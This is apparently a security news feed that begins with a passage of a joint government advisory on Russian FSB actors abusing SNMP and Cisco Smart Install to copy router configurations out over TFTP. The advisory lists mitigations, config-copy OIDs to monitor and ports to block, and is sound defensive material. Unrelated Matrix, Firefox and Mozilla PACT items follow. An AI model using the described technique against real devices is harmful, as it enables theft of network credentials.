  • Transfer the file, typically using Trivial File Transfer Protocol (TFTP), to an actor-controlled leased virtual private server (VPS) or compromised FTP server [T1583.003, T1090, T1071, T1048].

While SNMP scanning is the primary method the actors use to discover and exploit poorly configured networking devices, they occasionally exploit common vulnerabilities and exposures (CVEs) in Cisco devices, Cisco’s Smart Install (SMI) functionality, and web portals to manage network devices. The actors previously exploited at least the following CVEs [T1584.008, T1588.005, T1190, T1068]: 

Many of these TTPs overlap with activity by other malicious cyber actors, such as Salt Typhoon. Even though this CSA focuses on Russian FSB Center 16 cyber activity, the mitigations below should detect and counter these and similar TTPs used by other actors.

Mitigation actions

The authoring agencies highly recommend network defenders implement the following mitigations to harden networks against this exploitation:

  • Disable Cisco Smart Install on all devices [D3-ACH]. [2]
  • Use SNMPv3 with “authPriv” configured to the most modern encryption standard that is supported by the device instead of SNMPv1 or SNMPv2 [D3-ACH]. [3]
    • Disable SNMPv1 and SNMPv2. These are legacy protocols and should no longer be needed on current devices. If they are necessary, change all community strings from defaults and only allow read-only community strings rather than read-write access.
    • SNMPv3 adds strong authentication and data encryption that are unavailable in SNMPv1 and v2. SNMPv3 replaces clear text shared passwords, known as community strings, with more securely encoded parameters, and authenticates and encrypts data [D3-MAN, D3-MENCR].
  • Use strong, unique passwords for local accounts on network devices and configure credentials to be stored securely to prevent reuse of compromised passwords [D3-CH].
    • Cisco devices protect passwords in the configuration file using different hashing types. Use hashing type 8 for user credentials. Avoid using hashing type 0, 4, and 7 as they are insecure or store passwords in plaintext in the configuration file. [4]
    • Monitor for unusual credentials that do not conform to standard organizational naming conventions [D3-PM]. 
    •  Monitor for and alert on logins using local accounts. Local accounts should only be used in emergency situations when accounts supported by centralized authentication servers are unavailable. Centralized authentication to network devices should support multi-factor authentication where feasible. [3]
  • Monitor and restrict access to SNMP OIDs using a Management Information Base (MIB) allow list [D3-ACH]. [5] Reference the vendor-specific MIB for the network devices and monitor OIDs for indications of reconnaissance or misconfiguration in logs or intrusion detection systems (IDS). IDS rules should be written for inbound SNMP Set-Requests that contain OIDs targeting sensitive device data [D3-PM].
    • Example OIDs include:
      • 1.3.6.1.4.1.9.9.96.1.1 (Cisco Config Copy)
      • 1.3.6.1.4.1.9.9.96.1.1.1.1.5 (Config Copy Server Address, value for this OID is where the configuration file is being sent to) 
  • Restrict management protocols [D3-NTF].
    • Use Access Control Lists (ACLs) to only allow management protocols, such as SNMP, from management devices, preferably on an out-of-band network. [3]
    • On edge firewalls and devices deny all external communications on the following ports unless mission critical, with strict monitoring if blocking is not feasible:
      • User Datagram Protocol (UDP) port 69 (TFTP) 
      • Transmission Control Protocol (TCP) port 4786 (SMI)
      • UDP ports 161 and 162 (SNMP)
      • TCP/UDP ports 10161 and 10162 (SNMPv3)
  • Update network device software and firmware images, especially to patch known vulnerabilities, and upgrade end-of-life devices to supported ones. 
    • Use an attack surface management service to identify and secure Internet-facing systems with weak configurations and known vulnerabilities [D3-NVA].
      • U.S.-based federal, state, local, tribal, and territorial governments and U.S. critical infrastructure organiztions should consider signing up for CISA’s no-cost Cyber Hygiene services.
      • U.S. Defense Industrial Base organizations should consider signing up for NSA’s DIB Cybersecurity Services.

Resources

United States:

Canada:

Works cited

[1] FBI. Russian Government Cyber Actors Targeting Networking Devices, Critical Infrastructure. Alert Number: I-082025-PSA. 2025. https://www.ic3.gov/PSA/2025/PSA250820

[2] NSA. Cisco Smart Install Protocol Misuse. 2017. https://media.defense.gov/2019/Jul/16/2002157833/-1/-1/0/CSA-CISCO-SMART-INSTALL-PROTOCOL-MISUSE.PDF

[3] NSA. Network Infrastructure Security Guide. 2023. https://media.defense.gov/2022/Jun/15/2003018261/-1/-1/0/CTR_NSA_NETWORK_INFRASTRUCTURE_SECURITY_GUIDE_20220615.PDF

[4] NSA. Cybersecurity Information Sheet Cisco Password Types: Best Practices. 2022. https://media.defense.gov/2022/Feb/17/2002940795/-1/-1/0/CSI_CISCO_PASSWORD_TYPES_BEST_PRACTICES_20220217.PDF

[5] NSA. Cybersecurity Information Sheet: Reducing the Risk of Simple Network Management Protocol (SNMP) Abuse. 2026. https://media.defense.gov/2026/Jul/09/2003959459/-1/-1/0/CSI_REDUCING_RISK_OF_SNMP_ABUSE.PDF

Footnotes

1  NĂĄrodnĂ­ Ășƙad pro kybernetickou a informačnĂ­ bezpečnost

2  Forsvarets Efterretningstjeneste

3 VĂ€lisluureamet

4 Riigi InfosĂŒsteem Amet

5 Sotilastiedustelu

6 Suojelupoliisi

7 Agence nationale de la sĂ©curitĂ© des systĂšmes d’information

8 Agenzia Informazioni e Sicurezza Esterna

9 Agenzia Informazioni e Sicurezza Interna

10 SƂuĆŒba Kontrwywiadu Wojskowego

11 Nationellt CybersÀkerhetscenter

12 MITRE and ATT&CK are registered trademarks of The MITRE Corporation. MITRE DEFEND is a trademark of the MITRE Corporation.

13 CVE-2008-4128 only affects end-of-life Cisco devices.

Disclaimer of Endorsement

The information and opinions contained in this document are provided "as is" and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes.

Purpose

This document was developed in furtherance of the authoring agencies’ cybersecurity missions, including their responsibilities to identify and disseminate threats, and to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.

Contact

United States organizations

  • National Security Agency (NSA)
  • Cybersecurity and Infrastructure Security Agency (CISA) and Federal Bureau of Investigation (FBI)
    •  U.S. organizations are encouraged to report suspicious or criminal activity related to information in this advisory to CISA via the agency’s Incident Reporting System, its 24/7 Operations Center (report@cisa.gov or 888-282-0870), or your local FBI field office. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment user for the activity; the name of the submitting company or organization; and a designated point of contact. 
  • United States Department of Defense Cyber Crime Center (DC3)  
    • Defense Industrial Base Inquiries and Cybersecurity Services: DC3.DCISE@us.af.mil 
    • Defense Industrial Base mandatory cyber incident reporting as required by 10 U.S. Code Sections 391 and 393 and Defense Federal Acquisition Regulation Supplement (DFARS) 252.204-7012 is submitted at https://dibnet.dod.mil.
    •  Media Inquiries / Press Desk: DC3.Information@us.af.mil

Australian organizations

  • Australian Signals Directorate
    • Visit cyber.gov.au or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories.

Canadian organizations

  • The Canadian Centre for Cyber Security (Cyber Centre), part of the Communications Security Establishment, encourages Canadian organizations to report cyber incidents and to strengthen the security of their networking devices. 

New Zealand organizations

United Kingdom organizations

Estonia organizations

Finnish organizations

French organizations

  • French organizations are encouraged to report suspicious activity or incident related information found in this advisory by contacting ANSSI/CERT-FR at: cert-fr@ssi.gouv.fr or by phone at: 3218 or +33 9 70 83 32 18.

Italian Organizations

Appendix A: MITRE ATT&CK tactics and techniques

See Table 1 through Table 10 for all the threat actor tactics and techniques referenced in this advisory.

Table 1: Reconnaissance

Technique Title

ID

Use
Active Scanning: Scanning IP Blocks T1595.001 Scan range of IP addresses
Active Scanning: Vulnerability Scanning T1595.002 Scan victims for vulnerabilities that can be used during targeting
Table 2: Resource Development

Technique Title

ID

Use
Acquire Infrastructure: Virtual Private Servers  T1583.003  Leverage VPS as infrastructure 
Compromise Infrastructure: Network Devices  T1584.008  Compromise intermediate routers 
Obtain Capabilities: Exploits  T1588.005  Use publicly available code to exploit vulnerable devices 
Table 3: Initial Access

Technique Title

ID

Use
Exploit Public-Facing Application  T1190  Exploit publicly known CVEs 
Proxy T1090 Use a connection proxy to direct network traffic 
Table 4: Execution

Technique Title

ID

Use
System Services T1569 Executing commands via SNMP
Table 5: Privilege Escalation

Technique Title

ID

Use
Exploitation for Privilege Escalation T1068 Exploit publicly known CVEs for escalated privileges
Table 6: Stealth

Technique Title

ID

Use
Obfuscated Files or Information T1027 Obfuscate source IP addresses in system logs, as actions may be recorded as originating from local IP addresses
Table 7: Credential Access

Technique Title

ID

Use
OS Credential Dumping T1003 Collect router configuration with weak Cisco Type 7 passwords and Type 0
Table 8: Collection

Technique Title

ID

Use
Data from Configuration Repository: SNMP (MIB Dump)  T1602.001  Target MIB to collect network information via SNMP 
Data from Configuration Repository: Network Device Configuration Dump T1602.002 Acquire credentials by collecting network device configurations
Table 9: Command and Control

Technique Title

ID

Use
Proxy  T1090  Use VPS for C2 
Application Layer Protocol  T1071  Open and expose a variety of different services, including TFTP and FTP
Table 10: Exfiltration

Technique Title

ID

Use
Exfiltration Over Alternative Protocol T1048 Exfiltrating over a different protocol than that of the existing command and control channel. 

Appendix B: MITRE D3FEND countermeasures

See Table 11 for a mapping of several of the cybersecurity countermeasures mentioned in this advisory.

Table 11: MITRE D3FEND Countermeasures

Countermeasure Title

ID

Description
Application Configuration Hardening D3-ACH
  • Use SNMPv3 and disable SNMPv1 and SNMPv2. 
  • Use SNMP allowlisting to restrict access to OIDs and MIBs. 
  • Disable Cisco Smart Install.
Message Authentication D3-MAN
  • Use SNMPv3 with strong authentication.
Message Encryption D3-MENCR
  • Use SNMPv3 to encrypt payloads.
Credential Hardening D3-CH
  • Use strong, unique passwords and store them securely.
Platform Monitoring D3-PM
  • Monitor for unusual credentials. 
  • Monitor SNMP Set-Requests for OIDs targeting sensitive device data.
Network Traffic Filtering D3-NTF
  • Use ACLs to only allow management protocols from management devices. 
  • Block TFTP, SMI, and SNMP at edge firewalls.
Network Vulnerability Assessment D3-NVA
  • Use an attack surface management service.
]]> <![CDATA[Matrix Tutorials #15 – Matrix on Kubernetes]]> https://tsecurity.de/de/3693329/videos/matrix-tutorials-15-matrix-on-kubernetes/ https://tsecurity.de/de/3693329/videos/matrix-tutorials-15-matrix-on-kubernetes/ Sat, 25 Jul 2026 08:42:07 +0200 đŸŽ„ Videos tsecurity.de Author: Matrixdotorg - Bewertung: 20x - Views:334

A few years ago we deployed Matrix with docker-compose. Now, let's give it a go on Kubernetes!

00:00 Introduction
01:40 Kubernetes Makes Things Simple
04:59 Getting Started
06:21 Installing Kubernetes
14:41 Deploying and Removing a Wordpress
20:53 Deploying A Matrix Stack
31:02 More Services Almost For Free

This Week in Matrix: https://matrix.org/twim

Find Matrix.org on the internet:
🐘 https://mastodon.matrix.org/@matrix
đŸ€ https://www.linkedin.com/company/matrix-org
🩋 https://bsky.app/profile/matrix.org
[m] Office of the Matrix Foundation https://matrix.to/#/%23foundation-office:matrix.org

]]> <![CDATA[Firefox Nightly: Backup for a Rainy Day – These Weeks in Firefox: Issue 202]]> https://tsecurity.de/de/3693295/tools/firefox-nightly-backup-for-a-rainy-day-these-weeks-in-firefox-issue-202/ https://tsecurity.de/de/3693295/tools/firefox-nightly-backup-for-a-rainy-day-these-weeks-in-firefox-issue-202/ Sat, 25 Jul 2026 08:37:35 +0200 đŸ’Ÿ Tools tsecurity.de Highlights
  • The profile backup mechanism has been enabled by default for all desktop platforms in Nightly, as well as Beta! The current plan is to have this ride out to Firefox 151 for Windows, macOS and Linux on May 18th!
    • This feature, when enabled, will create a copy of your profile data in the background and store it in a single file on your file system that you can restore from.
    • You will be able to manage this feature in Settings under Sync (for now)
      • Firefox settings page showing the Backup feature in dark mode. Backup is enabled, with details of the most recent backup and a “Backup now” button. The page displays the backup file name and a backup location folder path, along with “Choose
” and “Show in folder” buttons. A “Sensitive data” section includes an option to back up passwords and payment methods with encryption, and a disabled “Change password” button.
    • You can read more about the feature here
  • As followups to the recent addition to the WebExtension tabs API to support the new SplitView tabs feature, tabs.group() and tabs.ungroup() have been fixed to work correctly with split view tabs, and fixed split views being prepended instead of appended to tab groups when adopted into a new window – Bug 2029099 / Bug 2029534
  • Adaptive autofill has been enabled on Nightly.
    • Previously, autofill only completed domains (e.g. typing red autofilled reddit.com). Now it can also complete full URLs for pages you visit often (e.g. red → reddit.com/r/firefox), learning from what you actually click in the address bar. If a suggestion isn’t helpful, you can now dismiss it so autofill learns what not to show you too.
  • Markus Stange [:mstange] implemented dynamic toolbar on top in RDM (#1978145), but also implemented some static skeleton UI so it’s closer to what we actually have in Firefox for Android
    • dynamic toolbar is behind a pref: devtools.responsive.dynamicToolbar.enabled
    • it can be put on top by setting devtools.responsive.dynamicToolbar.onTop, otherwise it’s at the bottom
    • Firefox Responsive Design Mode on Desktop displaying the Mozilla homepage in a mobile viewport. The toolbar at the top shows a simulated Android device (including the dynamic toolbar) with a viewport size of 376 × 464 pixels and a device pixel ratio of 3. The page content is shown in French, featuring the Mozilla logo, a “Menu” link, a “Pause animation” button, and the headline “Bienvenue chez Mozilla” with accompanying text about trusted technology and digital rights.

Friends of the Firefox team

Resolved bugs (excluding employees)

Script to find new contributors from bug list

Volunteers that fixed more than one bug

  • Amin Amir
  • aoia7rz7l
  • Chukwuka Rosemary
  • DrSeed
  • FrĂ©dĂ©ric Wang NĂ©lar
  • japandi
  • John Iweh
  • jonathancabera
  • Josh Aas
  • Keji Bakare
  • kofoworola shonuyi
  • konyhĂ©a
  • liz
  • Mathew Hodson
  • Okhuomon Ajayi
  • Oluwatobi
  • ROSHAAN
  • Sam Johnson

New contributors (🌟 = first patch)

 

Project Updates

Add-ons / Web Extensions

Addon Manager & about:addons
  • In preparation for the Project Nova restyling of the about:addons page, we have refactored about:addons into separate per-component ES modules, splitting the monolithic aboutaddons.js and aboutaddons.html into 16 dedicated component files under components/ (with no behavior or UI changes) – Bug 2032014
    • NOTE: if you have working on patches with changes to about:addons internals it is very likely you’ll need to rebase and solve merge conflicts hit on top of this refactoring, the internals are still largely the same as before but don’t hesitate to reach out to the Addons team if you have doubts / questions or need help to figure out how to adapt your patch of top of these changes
WebExtensions Framework
  • Fixed exportFunction to preserve the constructibility of the wrapped function instead of unconditionally making all exported functions implicitly as constructors – Bug 2033173
    • Thanks to Gregory Pappas for contributing this improvement to the Content Scripts’ Xray Wrappers helpers!
  • Fixed a Firefox 151 regression where extension content scripts accessing location.ancestorOrigins caused subsequent page script reads of the same property to fail with “Permission denied”, breaking sites like Gmail – Bug 2034329
    • Thanks to Simon Farre for promptly investigating and fixing this recent regression!
WebExtension APIs
  • Updated sessions.getRecentlyClosed() to remove the hardcoded cap when maxResults is omitted – Bug 1392125
    • Shoutout to Amine Zroual for contributing this enhancement to the sessions WebExtensions API!

DevTools

Fluent

  • We’re now at over 72% of our strings being Fluent! Got a component still using .properties? Convert when you can!
  • Stacked area chart titled “Are We Fluent Yet?” showing the number and type of localization strings available in Firefox from 2018 to 2026. The chart tracks Fluent strings (green), Properties strings (blue), DTD strings (pink), and a small number of INI strings. Over time, Fluent strings steadily increase while DTD and Properties strings decline. A tooltip at April 26, 2026 shows 10,372 Fluent strings, 3,997 Properties strings, and no remaining DTD or INC strings, illustrating Firefox’s ongoing migration to the Fluent localization system.

Migration Improvements

New Tab Page

Search and Urlbar

  • Marco has fixed a couple of issues with the places databases to try and improve stability. This should help with avoiding users losing bookmarks or favicons.
  • Work continues on the new separate search bar to improve the functionality, e.g. allowing middle click to perform a search in a new tab, avoiding performing a search when adding a search engine.
  • Work also continues on the new Nova layouts.

Smart Window

  • uplifted 10 bugs to 150.0.1 dot release addressing initial user feedback from diary study and Connect
    • jump to bottom of conversation 2028692
    • stop streaming button 2029204
    • back/forward navigation from assistant 2029229
    • dark mode for various chips 2024499
  • search engine switching from smart bar 2021973
  • Nova styling within smart window 2026794

Storybook/Reusable Components/Acorn Design System

UX Fundamentals

  • The error pages shown when a server sends back an invalid response header or an unsupported content encoding now display accurate, context-specific messages. The invalid response header page also gained a helpful list of next steps. – 2027209
  • In progress: The error page illustrations are being replaced with new artwork, and the system now supports per-illustration size configuration, giving each image the ability to define its own appropriate dimensions. – 2031837

Settings Redesign

]]> <![CDATA[Firefox Nightly: Giving You More Control – These Weeks in Firefox: Issue 204]]> https://tsecurity.de/de/3693293/tools/firefox-nightly-giving-you-more-control-these-weeks-in-firefox-issue-204/ https://tsecurity.de/de/3693293/tools/firefox-nightly-giving-you-more-control-these-weeks-in-firefox-issue-204/ Sat, 25 Jul 2026 08:37:31 +0200 đŸ’Ÿ Tools tsecurity.de Highlights

Firefox context menu video controls like Pause, Unmute, Speed and Loop.

Tooltip in Firefox DevTools for mismatched syntax with attr()

Friends of the Firefox team

Resolved bugs (excluding employees)

Script to find new contributors from bug list

Volunteers that fixed more than one bug

  • Sam Johnson
  • Sebastian Zartner [:sebo]

New contributors (🌟 = first patch)

Project Updates

Add-ons / Web Extensions

Addon Manager & about:addons
  • As part of the work for the Project Nova about:addons page restyling, the about:addons sidebar has been migrated to the moz-page-nav and moz-page-nav-button reusable components, improving accessibility and visual consistency with the Firefox Desktop about:settings page – Bug 1881767
WebExtensions Framework
  • Implemented WebExtensions negative permissions infrastructure, providing the foundations for enterprise policy “blocked host permissions” features – Bug 1745823
  • Restricted host permission changes for MV3 extensions force-installed via enterprise policy (matching similar behaviors provided by Chrome enterprise policy behaviors) – Bug 1904054
    • Thanks to Mike Kaply for the implementation of this enterprise policy enforcement feature.
WebExtension APIs
  • Fixed handling of <all_urls> as an API permission in Manifest V3, ensuring the permission is correctly initialized on extension install – Bug 1758306

DevTools

WebDriver

Lint, Docs and Workflow

New Tab Page

Picture-in-Picture

Performance Tools (aka Firefox Profiler)

  • Firefox Profiler now has a CLI! We also added a profiler-analysis skill to the Firefox codebase. Once you capture a performance profile, you can ask Claude or an AI to analyze it by providing a link or local path. You can use it to analyze a performance regression or debug an issue if you have a profile at hand.

Search and Urlbar

Nova UI refresh
Suggest
  • Drew landed several Suggest improvements: realtime suggestions colors, sports suggestions received World Cup tweaks, and online Suggest via OHTTP was enabled for eligible users in Firefox 153.
  • 2040561, 2039753, 2035614, 2038843
Adaptive autofill
  • James fixed soft-block counting to track autofill dismisses, rather than consecutive backspaces on the same autofill, and added telemetry to measure URLs reintegration after blocking.
  • 2040819, 2037177
Quick actions
  • Dharma created a new Firefox Labs quick action, fixed the Update action button, and re-enabled ScotchBonnet in some tests that were not updated yet.
  • Caleb added Calculator support for certain unicode operators.
  • 2023169, 1928635, 1923383, 2033861
Multi Context Address Bar
  • Moritz continued refactoring the urlbar code: converted some of the js modules to not be system modules, fixed dynamic results templates, incorrect reuse of result rows, and keyboard shortcuts on the unified search button panel.
  • 2039297, 2036095, 2039844, 2037933, 2030050
Other
Search
  • Mark removed old WebExtension-based search engines from the source tree, removed loading of search add-ons from resource://search-extensions/.
  • Caleb fixed multiple documentation issues and added a test covering searches from a private window.
  • 1904613, 2035878, 2037942, 2033545, 2005724
Places
  • Marco removed some unnecessary database transactions, fixed the bookmarks panel folder dropdown on Windows, and resolved several intermittent test failures.
  • Thanks to Sam Johnson who fixed the bookmark edit panel showing “mobile” instead of “Mobile Bookmarks”.
  • 2039534, 1505800, 2008829, 2029541, 2035084
]]> <![CDATA[Hacks.Mozilla.Org: PACT: Anonymous Credentials for the Web]]> https://tsecurity.de/de/3693291/tools/hacksmozillaorg-pact-anonymous-credentials-for-the-web/ https://tsecurity.de/de/3693291/tools/hacksmozillaorg-pact-anonymous-credentials-for-the-web/ Sat, 25 Jul 2026 08:37:27 +0200 đŸ’Ÿ Tools tsecurity.de This is the technical companion to our update on Distilled, “Keeping the web open and private in the bot era.” Here we take a deeper look at the problem space, the design we’re proposing, and the problems still left to solve.

Bots (and privacy-preserving browsers) not welcome

Browse a news site in a private window. Shop at a major retailer with a VPN. Visit a video streaming platform with anti-fingerprinting defenses tuned up. You’ll see the same responses: registration walls, block pages, and endless CAPTCHAs. The message is clear: if we think you might be a bot, you’re not welcome.

Websites have valid reasons for wanting to block bots. Bots enable volumetric abuse, abuse that wouldn’t otherwise be feasible if they had to be carried out by humans.  For example: SEO comment spam, credential stuffing and DDoSing. Consequently many sites employ dedicated anti-abuse tooling which aims to keep the bots out whilst minimizing friction for human visitors.

Unfortunately, that tooling is increasingly failing at both tasks. Browser privacy protections are dismantling the passive signals that anti-abuse systems depended on to identify and distinguish visitors. Meanwhile advances in generative AI have rendered CAPTCHAs ineffective: bots now solve them faster and more reliably than humans.

Many sites are switching to more invasive mechanisms and now ask visitors to disclose identifying information, e.g. an email address, a federated login or disabling their VPN. This means greater friction for users, since providing these details on a first visit takes time. It also compromises their privacy, since these details enable the same kinds of cross-site tracking that browser privacy protections were intended to mitigate.

This leaves users with a dilemma. The more effectively they protect their privacy, the harder it is for websites to distinguish them from bots and the worse the treatment they receive. Website operators are also suffering. The additional friction they inflict upon well-behaved visitors harms their site, but many are willing to pay the costs if it mitigates volumetric abuse.

Browser-based AI agents make this tension more acute. Sites may want to allow agents which are acting on behalf of individual users while blocking agents engaged in volumetric abuse. However, with no effective mechanisms to distinguish the two, websites are opting to block both. That hurts users, who should be free to choose the user agent they use to access the web; it hurts new browsers and agents, which struggle to interoperate; and it hurts sites, which lose legitimate visitors.

The consequence is that the web gets worse for everyone. Users get more friction or less privacy or both. Website operators see more volumetric abuse and the friction they add drives away users who would otherwise want to consume their content or services. New user agents struggle to access the same content as conventional browsers.

The Costs of Convenient Solutions

Some large ecosystem players have put forward solutions that leverage their control of the dominant operating systems and their deep integration with consumer hardware. These rely on device attestation: identifiers and privileged code baked into devices at the hardware level, which let manufacturers prove what software is running on a user’s device. Exposing this functionality to the web means attesting to sites that the user is running approved software with trusted hardware and therefore isn’t a bot. There have been two substantive proposals.

Google’s Web Environment Integrity, abandoned in 2023, was the blunt version. It attested to the user agent itself, as well as the operating system and device in use. Users would have lost control in two ways: once to the attester, which would decide which operating systems and devices could be blessed, and again to the website, which would decide which software to accept. If sites had adopted allow-lists of approved user agents, building a new browser would have become virtually impossible, and sites could have withdrawn access from any user agent they chose.

Apple’s Private Access Tokens, deployed across their ecosystem in 2022, have more subtle issues. Built on the Privacy Pass protocol standardized at the IETF, they get a lot right: a user receives a renewed, limited batch of one-time tokens that can be presented to websites without linking their visits together. This provides privacy for users and has shown rate limits to be an effective tool for sites – both points we’ll return to later in this post.

However, Private Access Tokens rely on device attestation, requiring that the hardware manufacturer be in overall control of the user’s device. Presenting a PAT tells a website you are locked into Apple’s rules for what counts as acceptable software. Due to PAT’s technical design[1], there’s no way to open the system to other sources of scarcity without compromising the system’s privacy properties, meaning that if more widely deployed, access to the web would become tied to having bought expensive hardware from a small, hard to change set of vendors.

Both approaches are ultimately hostile to users and to the openness of the web. Both are premised on parts of a user’s device that sit within the manufacturer’s control and beyond the user’s own. Were they widely deployed, the web would become just another walled garden with centralized gatekeepers controlling acceptable hardware, operating systems and software. As convenient as these solutions are for the players who already dominate the ecosystem, we think there’s a better path.

A Better Path Forward

Bots’ harms arise from their ability to operate beyond human scale. For sites to prevent volumetric abuse they don’t actually need to know the user’s identity or receive cryptographic proof that they’re running approved software. If sites knew their visitors were restricted to a rate limit set by a site, that would be enough.  

Rate limits only make sense if they’re tied to something scarce; something an attacker can’t cheaply replicate to evade the limit. Without anchoring to a scarce resource, like the trusted hardware used in Private Access Tokens, attackers can generate as many fresh identities as they need to bypass the rate limit.

However, hardware is just one option for scarcity. Anything a user already has that an attacker can’t trivially spin up at scale will work: email addresses and phone numbers are naturally scarce. A paid subscription costs an attacker the same as a real user.  Even maintaining an account on a free service requires some non-trivial work.

What if we could use these scarce signals across the web? We could build an open ecosystem with many parties offering scarcity signals, each site choosing which to accept. By opening up who can provide a signal, and letting sites choose which to accept, we can avoid transferring control to device manufacturers and the resulting harms.

As a concrete example of who might be well positioned to provide such a signal, we can consider VPN providers acting as a subscription service. Sites routinely block VPN users indiscriminately, whether through a deliberate policy choice or through an indirect consequence of rate limiting visitors per IP address. But a VPN subscription is a perfect source of scarcity. If the VPN provider could vouch for its users so that sites could rate limit each user individually – then users would be able to browse the web with less friction and without giving up their VPN usage.

The catch is that building a system that can enable this on the open web whilst maintaining user’s privacy is genuinely difficult. It requires that we take information from one site — that this user holds some scarce thing — and expose it to other sites so that they can use that as the basis for their rate limiting. Letting one site verify a signal from another is the sort of information flow that privacy-preserving browsers have spent the last decade locking down to prevent cross-site tracking.

Our goal would be that no more than the minimum information gets through: a single bit communicating whether the user is below the rate limit set by the site. Leaking anything more – like the source of the scarcity that the rate limit is anchored to – would be unacceptable. Enabling a new cross-site information flow might feel like compromising privacy to gain better access, but reality is more nuanced. If a new system moves sites away from demanding that visitors be identifiable (whether through fingerprinting or login forms), it can be a win for both privacy and access.

The Foundations

The good news is that the cryptographic foundations for a privacy preserving approach already exist. The Privacy Pass protocol, originally developed in 2018 to reduce the friction of Cloudflare CAPTCHAs for Tor users, introduced the core primitive: a token that is unlinkable between issuance and redemption. You prove something to an issuer (e.g. by solving a CAPTCHA), receive some tokens, and later present a token to a website. The website can verify the token is legitimate, but can’t link it to the user it was issued to.

A diagram showing the protocol flow for Privacy Pass.

Figure 1: In Privacy Pass, a CAPTCHA provider can issue tokens to a client which can then be used to bypass challenges for future site visits. Even if the CAPTCHA provider and sites collude, they can’t use the tokens to identify the user or their browsing history.

Privacy Pass has gone on to be successfully deployed in systems where the issuer and verifier have a prior trust relationship: Apple uses it to authenticate users of Private Cloud Compute and Private Relay without linking their activity to their identity, Chrome uses it for two-hop IP protection, and Kagi uses it to provide private search. These deployments work in part because a small number of parties have agreed in advance on who issues tokens and who accepts them.

Applying this approach to an open system where any site can act as an issuer brings real challenges. Firstly, even though tokens are unlinkable, knowing a user has access to a specific issuer is a privacy leak on its own, because you can infer that the user meets the relevant issuance criteria. If one site can learn that you have a token from another site, that reveals that you have been to that site, which can be a major privacy problem. This compounds if sites can learn the set of issuers you have visited, since it becomes a fingerprint which can be used to identify you.

Generic techniques exist for proving a statement in zero knowledge: we can prove that a client has a token from a set of acceptable issuers without revealing which specific issuer it is. We’ll call this issuer blinding. The generic approach is often slow, but bespoke approaches tailored to the underlying cryptography can improve this considerably.

Another challenge is how sites using rate limits decide who to trust to issue tokens. If an issuer misbehaves then the site’s rate limits become ineffective, enabling volumetric abuse. However, if we need to prevent the site from learning which issuers a user has access to, the site is only going to know that one of its trusted issuers was used, not which one. This makes mistakes or misbehaviour by an issuer difficult to detect, and makes it hard for sites to evaluate new issuers. Solving this challenge is essential for openness. Without adequate information, sites are likely to lean towards conservative issuer selection. That could lead to less choice between Anchors, which in turn could lead to a new form of gatekeeper being created. 

To solve this, sites at least need a way to calculate an aggregate score for each issuer they use. This should roughly correspond to how much of the traffic it considers abusive to have come from users using that particular issuer. Mozilla has long invested in systems like Prio which use multiparty computation (MPC) to protect user privacy whilst enabling aggregate measurements of system behaviour.

Privacy Pass also struggles to handle dynamic adjustments to rate limits. Once tokens have been issued, they’re difficult to invalidate without either revoking all active tokens or risking attacks which can compromise the privacy of users. It’s also beneficial if sites can adjust rate limits on a per client basis, for example by increasing rate limits where they become more confident the client is benign and withdrawing access when abuse is detected.

Anonymous Credit Tokens offer a useful building block to solve this problem. Conventional Privacy Pass schemes rely on issuing a bucket of tokens but ACT works differently by enabling the use of a credential with state. For example, an ACT credential can hold an internal counter. When the credential is presented, the site can check the counter is over some threshold and mutate it, increasing or decreasing the counter whenever the site’s perception of the holder has improved or worsened. Critically, the exact value is never leaked to the site, preventing the site from tracking the holder and ensuring successive presentations of the same credential can’t be linked.

Putting it together

So how can we combine these techniques to build a system which can enable privacy-preserving rate limiting on the open web? In May 2026, we participated in a W3C CG Meeting in collaboration with Cloudflare, Chrome and other web stakeholders in which we started sketching out a design we’re calling PACT – Private Access Control Tokens.

Rate limits need a starting point, a source of scarcity to anchor on. We’ll call an entity that provides such a source an Anchor. To a user who meets the Anchor’s criteria, like having a subscription, an account in good standing, or a verified phone number, an Anchor issues a batch of Endorsement tokens, following the Privacy Pass model. In practice, Anchors could be any website which has access to this kind of signal. An Endorsement conveys scarcity to other sites.

That’s enough for a simple system where access is either granted or denied. But as we discussed earlier, we also want the ability to increase access where a visitor behaves benignly and decrease it where they don’t. The state needed to enforce a rate limit can’t live in the Endorsement, because Endorsements cross trust boundaries between unrelated sites. We need a second object that can hold that state, scoped to the party that maintains it.

We’ll call that the party that handles rate limiting for a site a Moderator and the stateful object a Credential. A Credential is specific to a Moderator and, unlike endorsements, we limit each site to nominating a single Moderator. In the common case the site itself plays the Moderator role, so there’s no new entity or trust boundary. A Moderator can also be a third-party service shared across many sites, allowing those sites to cooperatively share a rate limit. 

In the terminology of the previous section, the Anchor is the issuer of Endorsements, and the Moderator both verifies Endorsements and issues Credentials. A Moderator manages rate-limit policy: it decides which Anchors it trusts, accepts their Endorsements, and issues a Credential in return.

A diagram showing an overview of the PACT system

Figure 2: (1) Clients acquire Endorsements from Anchors in the course of normal browsing to sites they have relationships with. (2) Clients can exchange Endorsements for a stateful Credential from a Moderator. (3) Credentials can be used to access sites which use that Moderator. Credentials can be updated over time.

Directly revealing which Anchor backed an Endorsement would leak a lot of information about the user. The issuer blinding techniques from the previous section solve this: when an Endorsement is redeemed, the Moderator only learns that it came from one of the Anchors it trusts, but not which one.

When a Moderator covers more than one site, we let Credentials be presented across all of them but partition cookies and storage as we would for any other third party site. The unlinkability of Credential presentations keeps this from creating a new cross-site identifier. The benefit is that good behaviour on one site improves access on every site the Moderator covers, and bad behaviour cuts it everywhere. Websites can already build the same capability with a shared account system, so this doesn’t create a new way to lock users out, but it does provide a new way to grant access without requiring users to give up their privacy.

Enabling Moderators that cover many sites carries a centralisation risk, similar to the concentration we see today in anti-abuse providers. The mitigation is that the choice of Moderator stays with each site, and the choice of trusted Anchors stays with each Moderator. This can’t reverse the centralisation pressure the web already faces, but it ensures this system won’t lead to additional lock-in: a new Anchor or a new Moderator can be adopted without coordinating with a dominant vendor.

The system then has three flows. First, the user receives Endorsements from an Anchor in the course of normal interaction, based on the Anchor’s positive view of the user. This is a relatively rare operation for any given user and Anchor. After all, as our source of scarcity, Endorsements should not be too easy to accumulate.

A diagram showing the PACT Anchor Flow

